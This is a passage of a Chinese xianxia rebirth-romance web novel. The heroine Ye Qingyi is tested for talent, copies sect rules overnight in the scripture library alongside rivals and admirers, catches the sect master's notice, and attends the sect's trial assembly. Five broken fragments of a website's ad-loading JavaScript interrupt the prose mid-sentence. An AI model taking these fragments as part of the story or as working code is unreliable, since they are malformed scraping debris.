叶清漪看向一旁的连喜,或许云宸的变化和连喜后来的劫难有很大关系。 “既然师兄提及,那便核实一下,原本是要等半个月后的资质考核才会再次确认大家的资质的。”事到如今,修言别无他法,只好让顾长风拿出玉牌一试。 这次的玉牌和当初选擢时又有所不同,质地更加上乘,色泽也更纯洁,是灵力更高玉石所铸,感应速度更快,光芒的变化也更细微,同样的颜色会有由深到浅好几种区分,代表了不同程度优良资质。 顾长风拿着玉牌走近,只稍稍在叶清漪灵台处停留片刻,玉牌就绽放出纯净的金色光芒。 这金光不算强,在某些人眼里却十分刺眼。 凌雪瑶瞪大双眼。 连喜出神望着顾长风手中的玉牌,替叶清漪解释了:“灵玉可测修仙资质,金色优于其他颜色,是为甲等,同时颜色越淡代表仙根越纯净,资质也就越强。” 凌雪瑶:“什么意思?” 连喜的语气里带了点:“淡金色是甲等中最优的资质。” 甲等最优,和前世一样,没什么悬念。 南宫君霖:“所以她身上才会有真气显现?” “可是我分明看到她躲在藏经阁偷偷修炼!”有位师弟却突然大喊。 叶清漪心中暗笑:她的确有偷偷修炼,但却不在藏经阁,所以这个师弟肯定没发现她,这指证也是一早想好要栽赃叶清漪的。 修言立马假模假式地问:“可有此事?” 叶清漪也懒得反驳,干脆对着那师弟喊:“你要是想的话也可以自行修炼啊!” 师弟:……?!! 其余弟子:原来竟可以这样?!! “大、大胆!”修言率先反应过来,义正言辞地指责叶清漪,“你竟敢私自修炼!” 叶清漪坦然看向修言:“门规里有规定不能自行修炼吗?” 修言哑然:“这……” 叶清漪又看向顾长风:“嗯?” 顾长风立刻扬声道:“的确,门规里确实没有这条。” 凌雪瑶、南宫君霖等人都气得不行,又无可奈何。 “就算门规里没有明文规定,那也不能私下修行!你……你这将教授你的长老们置于何地啊!”修言还想给她强行安个罪名。 “对!”凌雪瑶见状连忙添枝加叶,细数叶清漪往日的恶行,“她一天天还跟戒律长老对着干,根本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是目无尊长,就应该严惩不贷。不然以后的师弟师妹都像她似的,长老们还怎么授课!” 其余几人也纷纷附和。 叶清漪眉头迅速地皱了下,毫不掩饰对他们的嫌恶之情。 她正在搜肠刮肚怎么反击,上方的云宸恰在此刻缓缓开口,却是对修言说的:“授课之事分工明确,想来戒律执明他们自会处理好的,我们也不好过多干预吧!修言师弟,你看呢?” “这……”修言有些犹豫。 关键不在于这个说法如何,而在于云宸的态度。 云宸继续道:“况且若真细究下来,误伤同门只怕也多有不妥,不如罚他们都进藏经阁抄写门规,小惩大诫。” 云宸言外之意再明显不过,就是告诉修言,如果还要一意孤行,那凌雪瑶肯定要一起受罚,伤害同门可比不受课堂纪律严重多了。 修言自是明白,拱手行礼:“就依师兄所言!说到底同门和气相处才最重要,我也会吩咐他们用心研习门规中细讲同门相处之道这部分的内容的。” 云宸“嗯”了一声表示满意。 修言转头对他们说:“都听到了吗?今日之事就到这里,你们自行下去领罚吧!” “就这么放过叶清漪吗?” 凌雪瑶还想纠缠,被修言用眼神阻止了。 修言故意呵斥凌雪瑶:“都是同门师兄弟,有什么放不放过的!你的事回头我再跟你细算,先去藏经阁把门规抄完!” 众人各自散去,叶清漪走的时候想多看云宸一眼,正好撞上他投来的目光,叶清漪一怔,连忙隔空行了个正式的礼以表达对云宸没有追究她罪名的谢意。 记忆中冷若冰霜的云宸,居然微微颔首以示回应,眼中也多了很多情绪。 叶清漪一时没缓过来,直到意识到自己似乎和云宸对视了许久,连忙收回视线,转头就走。 这和她记忆中的云宸差别也太大了吧? 刚才她一时失神没顾上,他怎么也不先移开视线呢? 叶清漪摸着自己发烫的脸颊,满腹疑惑地离开了沧云殿。 27. 罚抄心法 一行人纷纷被押到藏经阁,托凌雪瑶的福,原本每人抄一遍,变成了每人三遍门规——凌雪瑶不满处罚结果,在藏经阁内口无遮拦地问候了云宸及云仞山历代祖师好几遍,控诉门规各种不合理,没半点符合她心意之处。 叶清漪及另外几位:…… 由于这次事件内情复杂,他们中不是长老亲传,就是长老亲生、或是亲生跟班,没法一一追究,只好将涉事之人一股脑关起来抄门规了事。 是以此次关进藏经阁的人有:顾长风、连喜、叶清漪、凌雪瑶、南宫君霖、殷淑贤、何文雅以及两位师弟,顾长风的手已经包扎处理了,伤的是左手,虽然有些不便,但还是能稍微抄写点心法。 “好在不影响执剑,不然小半个月后的试炼大会,大师兄你都参加不了了!”叶清漪故意提高声调。 “你!”凌雪瑶瞪了眼叶清漪,又柔声问对面的顾长风,“大师兄你伤口还疼吗?” 顾长风提着笔,受伤的手揽着袖子,避免沾到墨汁,也不用担心不小心毁了抄好的部分。 听到凌雪瑶问起,他停了笔,抬头看向凌雪瑶这边:“已经用过药了,不疼了。” “这次是我的不是,师兄你不会自此跟阿瑶生分了吧!”凌雪瑶小心地试探着顾长风的态度。 顾长风得体一笑:“师妹多虑了。” 虽然是这么说,但只简短说了这五个字,明眼人都能看得出来,顾长风的态度已经有所变化。 毕竟,凌雪瑶之前指名道姓破口大骂,让顾长风太难堪了。 凌雪瑶也没有再逼问,她心里也明白,二人之间已经有了隔阂,不是三言两语能揭过的。 说到底都怪叶清漪! 想到这,凌雪瑶又恶狠狠瞪着叶清漪,对方正埋首抄写,什么也没看到,这让凌雪瑶更生气了。 要不是因为她,自己也不会一气之下口不择言,她和大师兄之间更不会像现在这样。 可那个时候大师兄为什么会出现在那里? 叶清漪又是怎么知道自己要在那里拦她,还提前告知了大师兄的? 凌雪瑶左思右想,想不明白。 难道是夏侯静仪?她收了自己的灵石不应该啊! 怎么连掌门和她爹都来了? 凌雪瑶想到最后,眯着眼看向一旁的连喜。 一定是他!这连喜今日在殿上处处为叶清漪说话,明摆着跟自己作对,掌门肯定也是他叫来的,没想到自己一直瞧不上的人竟然让她栽了这么大一个跟头! 此仇不报,她就不叫凌雪瑶! …… 一群人各自埋头抄写,没再过多闲话。 一直到晚饭时分,如今秋分已过,天黑得早,刚过申时,就已经很黑了,院里上了灯,藏经阁里也点满了蜡烛,楼上楼下两层都点满,亮得跟白昼似的。 和他们一起罚抄的一位师弟忍不住说:“这是不抄完不让出去啊!” 见其他人没搭理他,又问一旁另一位师弟:“你抄多少了?我一遍都没抄完呢!” 片刻后,那位师弟从桌上抬起头,一脸困意,迷糊地回答:“啊?我好像到第二遍的一半了。” “这么快?那你这不一会儿就抄完了?” “是,能抄完……天亮前吧……天亮前应该能抄完……”师弟说完脑袋又哐地一下砸桌子上了。 另一位伸头过去看了一眼,连忙将那师弟拍醒:“你这抄的啥啊!鬼画符似的,梦里抄的吧!” “啊?”那位师弟睡眼惺忪地抬起头,他们身后的蜡烛将将亮起,另一位师弟也得以看清他的脸,“你这啥啊,全抄脸上了。” 那师弟迷茫地抹了把脸,手心立刻黑了,借着烛火,叶清漪也看清他脸上蹭地都是墨汁,还有字印。 “你那第二遍是梦里抄的吧!这一页都毁了,赶紧的吧,第三页重抄一遍,回头天亮都抄不完了!” 那位师弟如梦方醒,拿起被压得皱皱巴巴的那张,惋惜不已:“呀!我这平白无故生生少了一半,还废了一张!” 另一位又重申一遍:“你哪儿少一半,你就没抄!我刚就觉得不对劲,你怎么趴着抄,还以为烛火昏暗,你看不清呢!” “早知道还不如别醒呢!”那位师弟嘴里嘟囔着,极不情愿地重新开始抄第三张。 “你就庆幸只毁了这一张吧!另外两张赶紧收好!” 叶清漪抄得累了,正好看着二人对话歇歇眼,他们说完,她揉了揉眼,准备继续抄。 当初她都是独自关在藏经阁罚抄,还是第一次这么多人一起,竟觉得莫名热闹。 就是有些费眼…… 虽然已经点了很多蜡烛,每人桌前桌后也都摆了很多烛台,但她已经伏案太久,这烛火再一晃动,便更觉得迷离。 不过这跟前世比已经很好了,前世只有她一人,又跟同门处的不好,不辞守在外面,也没进来布过灯,叶清漪只有一根小小蜡烛,就那么坚持了一晚又一晚。 心法抄了十遍百遍,最后竟意外多背了很多生涩难懂的心法,以至于她都怀疑戒律是在变着法儿帮她提升修为。 如今这条件,她更没理由挑三拣四了。 不料她刚揉了一下眼睛,一左一右就像约好了似的,各递过来一个物件。 “……”叶清漪刚举起的毛笔停在半空。 一抬头,连喜顾长风皆眼神不善地看着对方。 叶清漪左右看了看,连喜不知从哪儿变出一杯参茶,递给叶清漪;顾长风则将自己的一个烛台摆在叶清漪的桌上。 “这……”叶清漪一时不知如何反应。 “师妹,喝点参茶,提神的。” “烛火费眼,多摆几个亮一些。” 连喜不善地看着顾长风,顾长风只顾低头柔声跟叶清漪说话,叶清漪举着毛笔,视线不经意对上斜前方的凌雪瑶,对方正恨恨地看着这一幕。 叶清漪有些头痛:“不必了,你们自己留着用吧!” 二人恍若未闻,放下东西各自回了座位。 …… 叶清漪不再多言,打算接着抄写,不料蜡烛太多,熏得她眼睛更干了。 忽然,一个灯罩一声不响地罩在了她面前的蜡烛上,叶清漪抬头,是掌灯的师弟替她拿来透光的蜡烛罩子。 “???”叶清漪无比震惊,疑惑地看着眼前之人。 昏暗的烛火映出他的脸,似乎还有些眼熟。 对方脸上带着不自在的羞赧,鼓起勇气说:“师姐还记得我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?我之前在膳堂送了你一本笔记。” 叶清漪想起来了:“是你!清……” “清泽。” 叶清漪连连点头:“对,是清泽!你怎么在这?” “不辞师兄被戒律长老叫走了,他让我替他照看一会儿,得知师姐你也在里面,我就进来看看。” 叶清漪点点头:“所以是你自行点了这么多灯的,不是不辞叫你点的?” 清泽迟疑片刻道:“是。” 叶清漪想想也是,前世不辞也没有这么勤快过。 叶清漪又指了指灯罩:“这个不用麻烦了,你拿回去吧!” 清泽没有说什么,也没拿回去,而是看着她眼前的门规,问她要不要帮忙? 叶清漪:“啊?不用不用,长老们也看得出字迹的。” 清泽连忙表示他字迹很工整,和大部分人的都差别不大,不会看出来的。 叶清漪抱歉一笑:“我的字迹可能太有个性了,不太好模仿……” 清泽也看到了,神情变了变,有些为难地沉默了。 “额……多谢你了,我还是自己抄写吧!”叶清漪说着,想尽快结束这尴尬的对话。 清泽如释重负一颔首:“也好。” 说完半躬身子对着叶清漪和一左一右两位师兄行了礼,转身出去了。 叶清漪看着清泽离去的身影,依稀觉得他有些熟悉,前世应该见过,只是不知究竟何时见的? 叶清漪正思索着,旁边又幽幽飘来两道目光。 叶清漪转过头去,连喜和顾长风又不约而同都在埋头抄写,让她怀疑刚才是不是自己的错觉? 叶清漪按下纷杂的念头,静下心继续抄写。 藏经阁是由六面同等宽度的墙体围成的,分上下两层,进门后左手边是通往二楼的阶梯,除了正门三开扇的排门,其他五面皆开了窗。 阁内前半部分摆着很多座位,成排的书架则密集排放在后半部分,这样设计为的是让阁内采光效果达到最佳。 他们从快晌午坐到现在,赶抄写进度都来不及,自然也没人会起身去做其他事,是以如今这些窗户依旧大开着,原本还好,只不时有微风飘入,还能闻到深秋夜风特有的味道。 但很快秋凉就透了上来,叶清漪抄写得投入,没防备一阵稍大的风自后背心吹来,她不禁倒吸一口凉气。 她第二遍快要抄完了,懒得管其他,搓了搓胳膊便继续抄写。 结果下一刻一件衣裳就落在她身上,叶清漪错愕地抬头,连喜将他的外裳脱了,正贴心地替她披上。 “???” 叶清漪还没来得及说什么,又听到身后传来窗户齐刷刷关上的声音,叶清漪猛地回头,顾长风坐在位置上,长袖鼓起,一抬手,将所有窗户都关上了。 额…… 她百思不解,这二人都是怎么了? 叶清漪满脑子疑惑还没解开,门又开了,清泽端着糕点茶水进来,直接放到她面前。 “空腹伤身,吃点再抄吧!”清泽一脸诚恳,直接无视了屋子里的其他人。 连喜替她披衣服的手一顿…… 顾长风的脸色也更难看了…… 叶清漪:……这都什么情况??! 28. 夜半探访 看着只有自己桌上才有的糕点,叶清漪尴尬一笑:“不用不用,你自己吃吧!” 又取下身上的衣裳还给连喜:“这个你自己穿吧!” 拿了一支桌上的蜡烛还给顾长风:“……” 下一刻东西又被原样放回。 连喜:“你穿着!” 顾长风:“放着!” 清泽:“拿着!” 叶清漪:………… 她不敢动! 三人不知为何都气势汹汹的,她只好领了情,一一道谢。 “多谢各位!” 这同门情谊简直让人感激涕零! 半点同门情谊也没感受到的凌雪瑶恨恨看着叶清漪,恨不得冲上去打她一顿,却被一只手温柔地拉住了。 凌雪瑶抬头,眼前一亮:“唐师姐,你可算来看我了!” 唐旖柔拎着金丝檀木八宝食盒,挎了件月白色芙蓉暗纹斗篷,一手拿了个琉璃灯盏,屈膝先将灯盏搁在凌雪瑶桌上,再将食盒放下,腾出手替凌雪瑶披好斗篷,一边替她整理桌面凌乱的纸张,一边柔声道:“先吃些点心垫垫吧,我带的多,君霖你们也一起吃点。” 叶清漪和这边三位都看傻了。 “竹羽、松明你们也过来吃吧!” 唐旖柔转身喊完两个师弟,低头将手中整理好的纸张搁在桌子一角,直起身,远远向叶清漪投来一道审视的目光:“叶师妹那边既然有吃的了,我就不叫你们了。” 说完径直转了回去,也不等叶清漪回应。 叶清漪尴尬地应了声:“额,好。” 看来唐旖柔误会她了。 罢了,多说无益。 看凌雪瑶那边吃的正欢,叶清漪还真饿了,她也不再客套,跟清泽道过谢,准备吃点他拿来的糕点。 刚拿起一块,连喜和顾长风就跟比赛似的,一左一右下手,将剩下的全吃完了! 叶清漪担忧地看着二人:“你们吃这么快不怕噎着吗?要不喝点水?” 说着举起手中的茶杯示意。 连喜塞得最多,也没法客气了,端过茶水喝了几口,又因为喝得太急险些呛到。 “慢些吃,又没人跟你们抢。”叶清漪想拍连喜后背,手伸到一半还是收回了。 清泽平静地看着这一幕,又默默从怀里掏出一包糕点。 ………… 连喜一口茶水差点喷了出去。 顾长风也被糕点呛到,咳个不停。 场面一度十分混乱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,和清泽的稳如泰山形成鲜明对比。 叶清漪:??? 他们仨到底谁是谁师兄? 清泽和唐旖柔只能进来一会儿,等众人吃的差不多了,便收拾完东西各自离去了。 阁内重新恢复宁静,休整好的众人继续埋头抄写,希望可以早些抄完早些出去。 其实叶清漪并不是非抄不可,但在她看来,这份任务是云宸布置的,她不想违背。 前世云宸受了她不少连累,还耗费了十几年修为为她压制魔气,她去了魔界就听说云宸不得不再次闭关,出关后也不怎么参与云仞山事务了,后来更是屡屡传出云宸身体抱恙的消息。 叶清漪觉得云宸身体不好,多多少少跟她有些干系,一直颇为自责。 最后云宸被害,她更是无法原谅自己,拼上这一身修为也要杀回云仞山,但她也不是回去查明真相,更多还是一心求死,当时她在魔界听到消息就已经失去理智,一身嫁衣就冲出了万魔殿,飞身而起时就换回了自己的衣裳,将火红的嫁衣留在了万魔殿前。 自然也抛下了连喜。 如今想来,云宸之死绝非偶然,还有很多蛛丝马迹可查,只怪她被愤怒冲昏了头脑,只想将云仞山所有弟子全部杀了! 29. 第二十九章 到了后半夜,好几个人都撑不住趴下了。 叶清漪举着羊毫,眼皮也开始打架了,虽然拼命想保持清醒,但还是困意难当,渐渐控制不住,一头栽下去,心满意足地睡着了。 一觉睡得黑甜,直到听到耳边传来窸窸窣窣的说话声,她才猛然惊醒! 天光已大亮。 叶清漪一看自己竟趴在抄写纸上睡着了,慌忙检查抄好的部分是否有损毁。 幸好都还完好,就是抄写的纸张质地太过柔软,不免还是有些褶皱。 她怎么就睡着了呢? 正懊恼间,桌前投下一片阴影,一阵暗香浮动,萦绕鼻尖。 这香气叶清漪再熟悉不过,那是流云殿终年开放的紫檀花,每每闻到,都能抚平她躁动的心绪。 叶清漪翻看的手一顿,有些莫名心虚,不敢抬头。 直到其他人都开始给云宸行礼,叶清漪才不得不抬起头,对上云宸那双常怀慈悲的眼,她没由来地感到无所遁形。 “见过师尊!”叶清漪慌忙起身行礼,想避开云宸含笑的双眼。 可其他人却陷入一片窒息的死寂。 叶清漪忽然意识到,她一时情急脱口而出,竟喊了云宸“师尊”! “见过……掌门……”叶清漪保持着行礼的姿势,重新说了一遍。 心里已经乱作一团。 凌雪瑶发出一声嗤笑,暗笑叶清漪异想天开。 “你方才,叫我什么?”云宸也没能放过她,还特地问了一遍。 叶清漪再次感叹,云宸如今这性子和后来相比差的也太大了。 “哼!想当内门弟子想疯了吧!”凌雪瑶无所顾忌地在一旁嘲讽。 “掌门恕罪,学生一时失言,无意冒犯掌门。”叶清漪只能走到一旁跪下。 “掌门!” “师尊!” 顾长风、连喜见状纷纷想替叶清漪求情。 只是刚开口就噤了声,该是被云宸制止了。 叶清漪跪在当下,只觉得无所遁形,云宸向来心思缜密,也不知自己的说辞能否蒙混过关。 “哈哈,看来掌门师兄的威望还是一如从前啊!新晋弟子无一不想拜在师兄门下,一时失言说出心里话也是可以理解的。”声如洪钟,爽朗洒脱,一听就知道是执明长老。 云宸没多说什么,轻笑一声,只道无妨,让叶清漪站起来。 之后也不再细究此事,而是开始问询起其他人抄写的情况来。 叶清漪暗暗松了口气,头也不敢抬,生怕对上云宸的目光。 看到云宸,似乎就看到了当年的自己。 那个对修仙生涯满怀期待的自己。 虽然如今的云宸并不认识她,也不知道她发生了怎样的改变,可她总莫名陷入失落,一种物是人非的无力感包裹着她,她不知道,是否只有这样才能得到想要的结果,又或者即便她如此狂放行事,也仍旧改变不了任何事…… 但她如今也无法得到答案。 如此想罢,云宸已经询问完其他人,转而问起叶清漪的抄写进度。 叶清漪连忙转身拿过抄好的门规,双手奉上:“启禀掌门,还有最后一段,三遍就都抄完了。” “三遍?”云宸眉心微蹙,略带疑问地复述了一遍。 “师兄有所不知……”一旁的执明长老连忙附耳与云宸解释。 云宸听罢,眼角挤出一丝笑纹:“门规三千条,抄一遍已经足够了,原本也只是为了略施惩戒,如今这般,除了损害身体毫无益处,还会激起他们的逆反情绪,师弟们以为如何?” 四大长老今日都在随行之列,云宸既已表态,他们自是没有异议,连连称是。 “依我看,罚也罚了,就到此为止吧,不必抄完了,你们几位赶紧回去休息吧!”云宸说着微微侧身,当着所有人的面再次提醒几位长老,“这门规是为了约束弟子而立,也为了规范门中之人的行为,究其根本,是为了便于新弟子融入云仞,若沦为处罚的工具,只怕违背了师祖门最初立下门规的本意了。” 云宸虽然没有指名道姓,不过大家都心知肚明这主要说的就是戒律,毕竟藏经阁是戒律的地盘,不用想也知道给他们加次数的人是谁了。 “以后,就不要再罚抄门规了,若有弟子违反纪律,便罚抄这藏经阁内的众多心法罢!”云宸言罢一拂袖,身后书架上的心法书们便如有感应一般,齐齐泛起金光,一瞬过后又逐渐熄灭。 四大长老见状恭敬称是。 叶清漪在后面偷偷抬首打量,云宸身量颀长,背光而立,晨光拘谨笼罩其身,似是不忍亵渎神圣之躯。 之前的云宸还颇有威望,也是能震慑住其他几人的,是从何时开始,一切悄然转变,直至乾坤颠倒的呢? 叶清漪的视线自在场之人脸上一一掠过,暗自猜测着暗害云宸之人是否就在其列,不意忽然对上云宸的视线,眼中的狠厉未及隐藏,被云宸尽数收在眼底。 叶清漪连忙收回视线,忐忑地等着云宸问话。 等来的只有漫长的死寂。 叶清漪喉口发紧,呼吸控制不住地急促起来,如临大敌。 前世云宸虽不常插手门中事务,也不过多置喙她修炼的方式。可若是叶清漪接连出现很大的失误,云宸便会很严厉地训诫她,他从不曾惩罚过她,可叶清漪心底还是畏惧,仿佛在云宸面前,她无所遁形,他那满怀期望的眼神无形之中施加着压力,他虽然没对叶清漪提过什么要求,但她总想事事做到最好,希望可以得到云宸一点赞赏,或是多跟她说上几句话,她便觉得足够了。 可她从未等到过这样的时刻,在云宸和她说过的为数不多的那些话里,绝大部分都是训诫,间或几句轻描淡写的鼓励,到后来叶清漪已经不再奢望了,自认无法取得云宸一丝欢心,慢慢的她也变得越来越孤僻,独自修炼,很少再去流云殿,一闭关就是好几个月,和云宸也越来越少见。 可当她魔气侵体时,是云宸第一时间冲进她的司晨殿,替她稳住心脉,让她不至于走火入魔。 想来云宸虽然不在意她,但也不愿见她陷入危难置之不理吧!又或者,他是想起了其他徒儿,将她当做了谁的替身。事到如今,叶清漪也不想细究了。 如今她屡屡在云宸面前露出破绽,若是要罚她,叶清漪也任他处置。 只是让她没想到的是,云宸这次什么也没说,而是像什么都没看到一样,又交代了几句,让大家尽快回去休息,便带着几位长老离开了。 这还是那个眼里揉不得沙子的云宸吗? 叶清漪能肯定云宸绝对看见她的眼神了,可他居然什么都没追究?太反常了! 其他人如获大赦,已经各自开始收拾东西,只有叶清漪还在探寻地看着云宸的背影。 踏出藏经阁的那刻,云宸并未立即离去,而是略略定了定身形。 叶清漪心头闪过一丝预感,心口控制不住 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地剧烈跳动了一下。 云宸站在逆光处,一手背过身后,一手提在身前,定了定身形,毫无防备地转头看向叶清漪,眼中情绪复杂。 恍惚间,叶清漪又闻到了那股好闻的紫檀花香。 她倒吸一口凉气,心脏仿佛跳到了喉咙口! 事发突然,叶清漪一时忘了移开视线,记忆中,这还是她第一次正视云宸的眼。 她错愕不已,为了避免尴尬,遥遥投去一个疑惑的眼神。可云宸没有任何反馈,只是依旧定定看着她。 片刻后才举步离去。 叶清漪这才松了口气,脱力般地扶着桌子,一手按在心口,一颗心后知后觉地咚咚跳个不停。 没人察觉她的异样,也没人看到方才的一幕。 叶清漪兀自疑惑,她这是怎么了? 云宸又是怎么了??? * 几个人陆续收拾好,一一离开了藏经阁,叶清漪陷入陌生的疑惑中无法自拔,所有东西还全都摊着。 顾长风和连喜见状,不约而同要来替叶清漪整理。 二人一碰上又开始暗暗较劲,一面恶狠狠瞪着对方,一面手上动作不停,试图比谁的东西收得更快。 最后一个用力过猛,二人拿到同一张纸,一着不慎,将其撕成两半。 顾长风:“!!!” 连喜:“!!!” 二人几乎同时脱手,埋首继续整理,动作飞快,像是极力撇清什么。 叶清漪:“…………” 好在云宸已经下令让他们只交一遍即可了,不然她平白无故还得再抄一张。 最后还是叶清漪自己简单收拾完了,抱着一些零零碎碎的家伙什准备回去,顾长风和连喜见状立刻跟上,只是二人没走两步,就被南宫君霖找了个借口叫住了。 可这一次,顾长风却直接表明要跟叶清漪同行,当场拒绝了。 连喜也毫不客气地揭穿了她们的托词,毫不犹豫地离开了藏经阁。出来后他也想跟上叶清漪,但叶清漪有意避嫌,三两句话打发了他,不让他再跟着了。 连喜知道叶清漪还记着之前藏经阁外发生的事,不好强求,只好无奈地看着顾长风和叶清漪双双离开。 这边厢二人走到路口转弯处,叶清漪停下查看,见身后无人跟上,便准备和顾长风分道扬镳,让刚有点沾沾自喜的顾长风如遭晴天霹雳。 “师妹这是何意?” 叶清漪懒得多作解释,只说她有些累了,想一个人走走。 说着转身准备离开。 顾长风却忽然拉住她,不由分说地开始剖白:“师妹如今你还不明白我的心意吗?我和凌师妹也不像你想的那般,日后我也会多加注意,和其他师妹保持距离的!” 叶清漪本来有些疲惫了,听到最后一句,忽然来了精神,两眼放光地抬头看着顾长风:“你刚说什么?” 顾长风以为叶清漪终于被打动,喜滋滋地准备再说一遍,又见叶清漪扬起手,自顾自感叹:“我知道你说了什么!不容易啊!” 顾长风一头雾水。 叶清漪挣开顾长风的手,拍了拍他的肩膀,语重心长地表示:“能看到你有如此改变,我很欣慰,继续保持!不过你最好换个人喜欢,咱俩不合适。” 言罢,叶清漪潇洒转身,不再逗留。 顾长风独留在原地,一手按在叶清漪刚刚拍过的肩膀上,陷入深深的疑惑:叶师妹这是何意啊? 30. 第三十章 七日后,试炼大会如期举行。 大会流程早就安排好了,其实每年都差不多,但这是顾长风第一次主持试炼大会,难免紧张,叶清漪之前也只是替他将流程梳理了一遍罢了。 试炼大会是面向整个云仞举办的,主要是看看正式弟子们各自修炼进度如何了,检测学徒资质只是其中一个环节。 也就是说,全体云仞弟子都要到场,云宸和四大长老也会出席。 大会一共举办三日。 第一日上午主要是掌门和长老训话,下午才正式开始各自比试,叶清漪他们就是来充个人头,间或给师兄师姐们助助威,第三日下午才是学徒们的资质测试,这个试炼大会对于他们来说,就跟休沐日差不多。 除了第一日上午所有人都必须到场,前两日的其他时候学徒们都是自由活动的,只要不是太明显,没人会追究他们擅自离场。 不过还是需要留一部分人在场。 前世最开始三年,叶清漪都是留守的那个,凌雪瑶几人为了开溜,硬是逼着叶清漪替他们留下给师兄师姐们助威。 其他弟子见了也愈发放肆,纷纷拜托叶清漪帮忙,因为叶清漪过于负责,大会最忙乱的时候都没出过问题,给师兄师姐跑腿拿水拿法器,忙前忙后照顾所有人,是以虽然到场的学徒不多,但叶清漪处理事情妥帖,应变自如,那些师兄师姐们被照顾得很到位,也就没什么怨言。 没到场的学徒也得以免去责罚。 可事后却没有一人记得叶清漪的好,甚至因为心虚,更加疏远叶清漪了。 如今想想真是可笑,她当年到底是怎么猪油蒙了心了?为何总对别人抱有不切实际的幻想? 这一次,叶清漪一早想好了,她要是替别人做一件事,她就白活这一世了! 一开始她就坐在了场上为数不多的位置上,且大有一副不会动弹一分的架势。 顾长风和泽成也随后坐在了她旁边,连喜和几位内门弟子也陆续落座,一些人见叶清漪坐在最中间,虽然有些讶异,但对他们也没有影响,也没多说什么。 只有凌雪瑶和南宫君霖走到她边上,指着叶清漪命令她将位置让出来。 叶清漪不为所动。 南宫君霖用力地戳了她肩膀一下,将她身子戳得往一边倾斜了几分,叶清漪坐直身子,眼神警告地看向南宫君霖。 大约觉得自己这次有所谓的规矩撑腰,南宫君霖见她这样,丝毫不退缩,而是指着她的位置,说这个是修言长老特地给她和凌雪瑶留的,勒令她立即让出来,否则就禀明修言长老,让他惩治叶清漪。 叶清漪今日起的过早,如今正犯着困,懒得搭理她们,甚至还托腮闭目,原地打起盹来。 “你!”南宫君霖气结,奈何众多师兄在旁,她们不能肆意对付叶清漪。 这边厢叶清漪和凌雪瑶二人正僵持着,那边泽成和顾长风已经开始闲聊。 顾长风与叶清漪隔了三四个位置,落座后也只默默看了叶清漪一眼,没有再上前多说什么,不过还是在叶清漪视线范围内,他的伤口如今也恢复得差不多了,只剩手背上一道长长的血痂。 泽成一见他这般模样,有些担忧:“你这伤口还能好吗?不会留下疤痕吧!” 顾长风若无其事地看了眼伤口:“无妨,掌门赠了上好的伤药,不出几日就能恢复了。” 一旁的凌雪瑶听到这话,颇有些不自在,想跟顾长风说点什么,可顾长风刻意回避的态度让她有些望而却步。 如此一来,看叶清漪越发不顺眼,一屁股坐在她边上,将叶清漪挤开了。 托凌雪瑶的福,叶清漪一个踉跄,直接摔在顾长风怀里。 叶清漪:……………… 叶清漪慌忙想爬起来,结果头发又被顾长风的腰带勾住了,半天都弄不开。 凌雪瑶快气哭了:“叶清漪你给我起来!” 叶清漪抓着自己的头发,以防不小心被扯没了,百忙中还不忘回凌雪瑶:“我也想啊!” “你!”凌雪瑶气得不行,又没法发作,只能在一旁咬牙切齿地看着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾长风和泽成也是越帮越忙,叶清漪趁乱将自己的头发一把拉回来,忙乱中似乎还拉开了其他什么东西。 叶清漪坐直身子一看,她直接把顾长风的腰带拉开了。 顾长风:??? 泽成:!!! 凌雪瑶:!!!!!! “那什么,对,对……对不住!”叶清漪将头发从腰带中拆出来,面不改色地把腰带还给了顾长风。 在场的人都看傻了。 顾长风更是呆在当场,事发突然,他还没缓过来,叶清漪将腰带递给他,他也没反应。 一旁的泽成连忙接过腰带,替顾长风系好了。 顾长风这才回过神来,低头看了眼系好的腰带,又抬头定定看着叶清漪,似是在消化刚才的事。 其他人都连忙移开视线,假装什么也没看到,凌雪瑶还想继续愤怒地瞪着叶清漪,被南宫君霖扯了扯袖子,她才不大乐意地坐直身子。 叶清漪又满脸歉意地回头鞠了两躬道歉,这时弟子们差不多都到场了,陆续有人坐在剩下的空的位置上,也有几个后到的弟子坐在了他们中间,顾长风也就没能跟叶清漪再多说什么了。 另一边有两个内门弟子,看着坐在他们位置上的凌雪瑶和南宫君霖,十分不解,又见凌雪瑶她们没有要让开的意思,无奈地看了彼此一眼,最后双双离开了。 叶清漪倒是没等来要坐她位置的人。 一通闹剧结束后,大会如期开始,云宸和四大长老轮流登台,一人说几句,很快就到晌午了。 众人先去吃饭,再回来继续下午的流程。 可等叶清漪回来的时候,她的位置已经没了。 远远看到有个女弟子坐在她位置上,叶清漪走过去,发现是唐旖柔。 叶清漪不好说什么,只好在一旁的空位上坐了下来。 等其他人原路返回时,位置也重新发生了改变,连喜回来后直接坐在了叶清漪旁边,顾长风则被泽成拉着坐到最外沿,方便随时起身去盯流程。 31. 第三十一章 下午试炼正式开始,顾长风一坐下就被叫走了,剑法比试有师兄的仙剑出了点问题;没多久泽成也去忙了,御兽比试有仙兽跑出来吓到师姐了…… 叶清漪早已见怪不怪,往年也是这般,虽然流程提前确认了好几遍,能出现的问题也都考虑到了,但到大会举办那日还是会出各种意想不到的问题。 大会是在前山的凌云广场上进行的,正面就是前山正殿昭明殿,背靠浩瀚云海,的确是个美轮美奂的人间仙境,只是日日对着这景色,也渐渐没什么感觉了。 试炼的项目有很多,弟子们可以根据修炼的派系和自身的能力选择适合的试炼比试,弟子们分开比试,剑修比试剑法,药修比试丹药,心法、符咒、御剑、御兽……斗法形式层出不穷,诸位弟子各显神通,能力强的也会同时选择两个项目,各项目试炼第一名可获得各式上等的灵石仙丹,不过最重要的还是证明自己能力的成就感,但试炼结果是不会计入考核的。 叶清漪面前正对着剑修的场地,此时已斗过一轮,师兄师姐们正稍事休息,调整状态继续之后的比试。 叶清漪整了整云纱袍袖,以手支颐,调整了姿势打算观看下一场。 